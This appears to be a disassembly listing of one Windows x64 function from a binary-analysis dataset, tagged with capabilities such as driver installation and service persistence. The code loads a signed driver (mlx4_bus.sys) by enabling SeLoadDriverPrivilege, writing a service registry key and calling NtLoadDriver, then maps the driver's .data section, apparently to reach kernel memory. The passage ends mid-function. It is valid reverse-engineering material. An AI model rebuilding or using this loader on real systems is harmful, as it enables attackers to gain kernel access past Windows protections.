Function at 0x140062190
Capabilities:
Enumerate pe sections
Execute command
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x14008f240]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor edi, edi
mov dword [rbp + 0x28], edi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0x1e0], rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov rcx, qword [0x14008f8b8]
call fcn.140068bc0
mov r15, rax
mov qword [rsp + 0x40], rax
mov ebx, edi
mov dword [rbp + 0x20], edi
lea r9, [rbp + 0x20]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
mov r13d, 4
cmp eax, 0xc0000004
jne 0x140062266
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x20]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x20]
mov r8d, dword [rbp + 0x20]
mov rdx, rax
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x140062222
test eax, eax
js 0x14006234c
mov esi, edi
cmp dword [rbx], edi
jbe 0x14006234c
nop dword [rax + rax]
mov eax, esi
imul rcx, rax, 0x128
lea r14, [rcx + rbx]
movzx edx, word [r14 + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], rdi
mov qword [rbp + 0xe0], rdi
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x1400622c0
lea rcx, [rbp + 0xc8]
call fcn.1400147a0
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rcx, qword [rbp + 0xc8]
lea rdx, str.mlx4_bus.sys
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140062392
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140062342
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006233d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400623df
call fcn.14006bce4
inc esi
cmp esi, dword [rbx]
jb 0x140062280
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [r15], 0x4550
je 0x14006255c
lea rdx, str.invalid_NT_signature_in_target_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400641e3
mov rsi, qword [r14 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x1400623eb
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400623e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400623e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006bce4
test rsi, rsi
je 0x14006235d
lea rcx, [0x14006fc08]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, 7
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x14006fc0c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
mov ebx, 1
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x14006fbe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [0x1400148a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r13w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov r8d, 0xf
lea rdx, str.Driver_Found___
lea rcx, [rbp - 0x60]
call fcn.1400147a0
nop
lea rbx, [rbp - 0x60]
mov rdi, qword [rbp - 0x60]
mov r14, qword [rbp - 0x48]
cmp r14, 0xf
cmova rbx, rdi
lea rcx, [rbp - 0x60]
cmova rcx, rdi
mov rsi, qword [rbp - 0x50]
add rsi, rcx
cmp rbx, rsi
je 0x140062512
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014300
lea rdx, [0x1400148a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rsi
jne 0x1400624e0
cmp r14, 0xf
jbe 0x14006254c
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140062544
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062544
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14006bce4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400641e3
mov ebx, dword [r15 + 0x50]
mov dword [rsp + 0x68], ebx
mov eax, dword [0x14007d240]
mov dword [rbp + 0x20], eax
movzx eax, word [0x14007d244]
mov word [rbp + 0x24], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
mov r8d, 0xc
lea rdx, str.mlx4_bus.sys
lea rcx, [rbp - 0x40]
call fcn.1400147a0
mov r9d, ebx
lea r8, [rbp + 0x20]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x30]
call fcn.14005f9a0
nop
cmp dword [rbp + 0x78], 0
jne 0x1400625c4
lea rdx, str.failed_to_get_info_for_potential_signed_driver.
jmp 0x1400641bd
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x120]
call fcn.140054b10
mov qword [rbp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, 1
test eax, eax
jne 0x140062620
movzx ebx, sil
jmp 0x1400626ae
mov qword [rbp + 0xb0], rdi
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 7
cmova rdx, qword [rbp + 0x120]
lea r8, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140062657
movzx ebx, sil
jmp 0x1400626ae
mov dword [rbp + 0x90], esi
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x94], rax
mov dword [rbp + 0x9c], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x90]
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400626a2
movzx ebx, sil
jmp 0x1400626ae
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x1400626f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400626f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400626f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006bce4
test bl, bl
je 0x140062703
mov r12d, edi
jmp 0x140062ddc
xor r8d, r8d
lea rdx, [rbp + 0x30]
lea rcx, [rbp]
call fcn.1400548e0
mov rbx, rax
mov qword [rbp + 0x90], rdi
lea rax, [0x14008f0b8]
mov qword [rbp + 0x98], rax
lea r8, [rbp + 0x90]
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.14005df90
mov dword [rbp + 0x28], esi
cmp dword [rbp + 0x90], 0
jne 0x14006422a
lea r12, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r12, qword [rbp - 0x80]
mov r15, qword [rbp - 0x70]
call fcn.14006b3bc
mov r13d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov r8, rdi
mov qword [rsp + 0x58], rdi
mov ecx, 0xf
mov qword [rsp + 0x60], rcx
mov byte [rsp + 0x48], r8b
mov dword [rbp + 0x28], 0x11
test r15, r15
je 0x14006288a
cmp r15, 0x7fffffff
ja 0x140064241
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8d, r15d
mov rdx, r12
mov ecx, eax
call fcn.14006b42c
mov rsi, rax
shr rax, 0x20
test eax, eax
jne 0x14006424c
movsxd rcx, esi
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
ja 0x1400627f0
mov qword [rsp + 0x58], rcx
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], 0
jmp 0x14006284e
mov r14, rcx
sub r14, rdx
mov r8, qword [rsp + 0x60]
mov rax, r8
sub rax, rdx
cmp r14, rax
ja 0x140062831
mov qword [rsp + 0x58], rcx
lea rbx, [rsp + 0x48]
cmp r8, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rdx
mov r8, r14
xor edx, edx
mov rcx, rbx
call fcn.14006cf02
mov byte [r14 + rbx], 0
jmp 0x14006284e
mov byte [rsp + 0x20], 0
mov r9, r14
movzx r8d, byte [rbp + 0x80]
mov rdx, r14
lea rcx, [rsp + 0x48]
call fcn.140055390
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova r9, qword [rsp + 0x48]
mov dword [rsp + 0x20], esi
mov r8d, r15d
mov rdx, r12
mov ecx, r13d
call fcn.14006b42c
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140064258
mov rcx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov r14d, 0xf
mov dword [rbp + 0x28], r14d
mov rax, rcx
sub rax, r8
cmp rax, 4
jb 0x140062932
lea rax, [r8 + 4]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rcx, r14
cmova rbx, qword [rsp + 0x48]
lea rax, [0x14007d140]
lea r15, str.___
cmp rax, rbx
jbe 0x1400628ef
lea rax, [rbx + r8]
cmp r15, rax
ja 0x1400628ef
mov r13d, 4
cmp rbx, r15
ja 0x1400628e7
mov rsi, rdi
jmp 0x1400628f8
mov rsi, rbx
sub rsi, r15
jmp 0x1400628f8
mov r13d, 4
mov esi, r13d
inc r8
lea rcx, [rbx + 4]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, r13
sub r8, rsi
lea rdx, [r15 + 4]
add rdx, rsi
lea rcx, [rbx + rsi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x48]
jmp 0x140062961
mov r13d, 4
mov qword [rsp + 0x28], r13
lea rax, str.___
mov qword [rsp + 0x20], rax
xor r9d, r9d
movzx r8d, byte [rbp + 0x80]
mov edx, r13d
lea rcx, [rsp + 0x48]
call fcn.1400558d0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r14d, 0x20
mov dword [rbp + 0x28], r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], rdi
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x90]
call fcn.1400147a0
nop
mov rsi, qword [rbp + 0x60]
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r9, qword [rbp + 0x50]
mov rcx, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140062a34
lea rax, [rsi + rcx]
mov qword [rbp + 0xa0], rax
lea rbx, [rbp + 0x90]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x90]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x140062a50
mov qword [rsp + 0x20], rsi
movzx r8d, byte [rbp + 0x80]
mov rdx, rsi
lea rcx, [rbp + 0x90]
call fcn.140055200
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
lea r8, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140062ac4
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140062abd
inc rdx
mov rcx, qword [rbp + 0x90]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140062ab8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140062bf1
call fcn.14006bce4
mov bl, 1
jmp 0x140062c02
mov byte [rbp + 0x82], 1
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x82]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140062a7c
mov byte [rbp + 0x83], 3
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x83]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140062a7c
mov byte [rbp + 0x80], 3
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140062a7c
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rcx, qword [rbp + 0xc8]
mov eax, dword [rbp + 0xd8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140062a7c
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140062bfd
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062bf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062bf8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006bce4
test ebx, ebx
setne bl
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140062c46
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062c41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062c41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006bce4
movdqa xmm0, xmmword [0x14007d620]
movdqu xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0xc8], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140062c9d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062c98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062c98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006bce4
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
lea rcx, [rbp - 0x80]
call fcn.14005de20
nop
lea rcx, [rbp]
call fcn.14005de20
test bl, bl
je 0x140062ccf
mov r12d, edi
jmp 0x140062ddc
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x100], rdi
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xe8]
call fcn.1400147a0
nop
mov rsi, qword [rbp + 0x60]
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r9, qword [rbp + 0x50]
mov r14, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x140062d64
lea rax, [rsi + r14]
mov qword [rbp + 0xf8], rax
lea rbx, [rbp + 0xe8]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0xe8]
lea rcx, [rbx + r14]
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rbx]
mov byte [rax + r14], 0
jmp 0x140062d80
mov qword [rsp + 0x20], rsi
movzx r8d, byte [rbp + 0x80]
mov rdx, rsi
lea rcx, [rbp + 0xe8]
call fcn.140055200
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0x1a8]
call sub.ntdll.dll_RtlInitAnsiString
mov r8b, 1
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_RtlAnsiStringToUnicodeString
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_NtLoadDriver
mov ebx, eax
lea rcx, [rbp + 0xe8]
call fcn.1400149b0
mov r12d, edi
test ebx, ebx
sete r12b
lea r15, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r15, qword [rbp + 0x50]
mov rbx, rdi
mov dword [rbp + 0x28], edi
lea r9, [rbp + 0x28]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x140062e54
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x28]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x28]
mov r8d, dword [rbp + 0x28]
mov rdx, rax
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x140062e10
test eax, eax
js 0x140062f18
mov esi, edi
cmp dword [rbx], edi
jbe 0x140062f18
nop word [rax + rax]
mov eax, esi
imul rcx, rax, 0x128
lea r14, [rbx + rcx]
movzx eax, word [r14 + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], rdi
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140062eb0
lea rcx, [rbp + 0x140]
call fcn.1400147a0
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rcx, qword [rbp + 0x140]
mov rdx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400635b2
mov r8, qword [rbp + 0x158]
cmp r8, 0xf
jbe 0x140062f0e
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x140]
call fcn.14005d2f0
inc esi
cmp esi, dword [rbx]
jb 0x140062e70
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, rdi
cmp r12d, 1
ja 0x1400641b6
test rsi, rsi
je 0x1400641b6
lea rdx, str.loaded_signed_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
mov rcx, rax
lea rdx, str.at__0x
call fcn.140014540
lea rdx, [0x140061aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str.__with_result__0x
call fcn.140014540
lea rdx, [0x140061aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, r12d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x14007d2b4]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r14d, dword [rbp + 0x70]
add r14, rsi
mov qword [rsp + 0x78], r14
lea rdx, str.target_section__.data__offset__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [0x140061aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, str.__size__0x
call fcn.140014540
lea rdx, [0x140061aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x74]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, str.__map_start__0x
call fcn.140014540
lea rdx, [0x140061aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x14007d2b4]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, rdi
mov dword [rbp + 0x20], edi
lea r9, [rbp + 0x20]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x1400630e4
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x20]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x20]
mov r8d, dword [rbp + 0x20]
mov rdx, rax
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x1400630a0
test eax, eax
js 0x1400631ac
mov esi, edi
cmp dword [rbx], edi
jbe 0x1400631ac
nop word [rax + rax]
mov eax, esi
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x100], rdi
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140063140
lea rcx, [rbp + 0xe8]
call fcn.1400147a0
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rcx, qword [rbp + 0xe8]
lea rdx, [0x14007cfe8]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140063605
mov r8, qword [rbp + 0x100]
cmp r8, 0xf
jbe 0x1400631a2
mov rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0xe8]
call fcn.14005d2f0
inc esi
cmp esi, dword [rbx]
jb 0x140063100
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.140060b30
mov r13, rax
call fcn.1400606f0
mov r12, rax
test r13, r13
je 0x1400641ad
test rax, rax
je 0x1400641ad
lea rcx, str.user32.dll
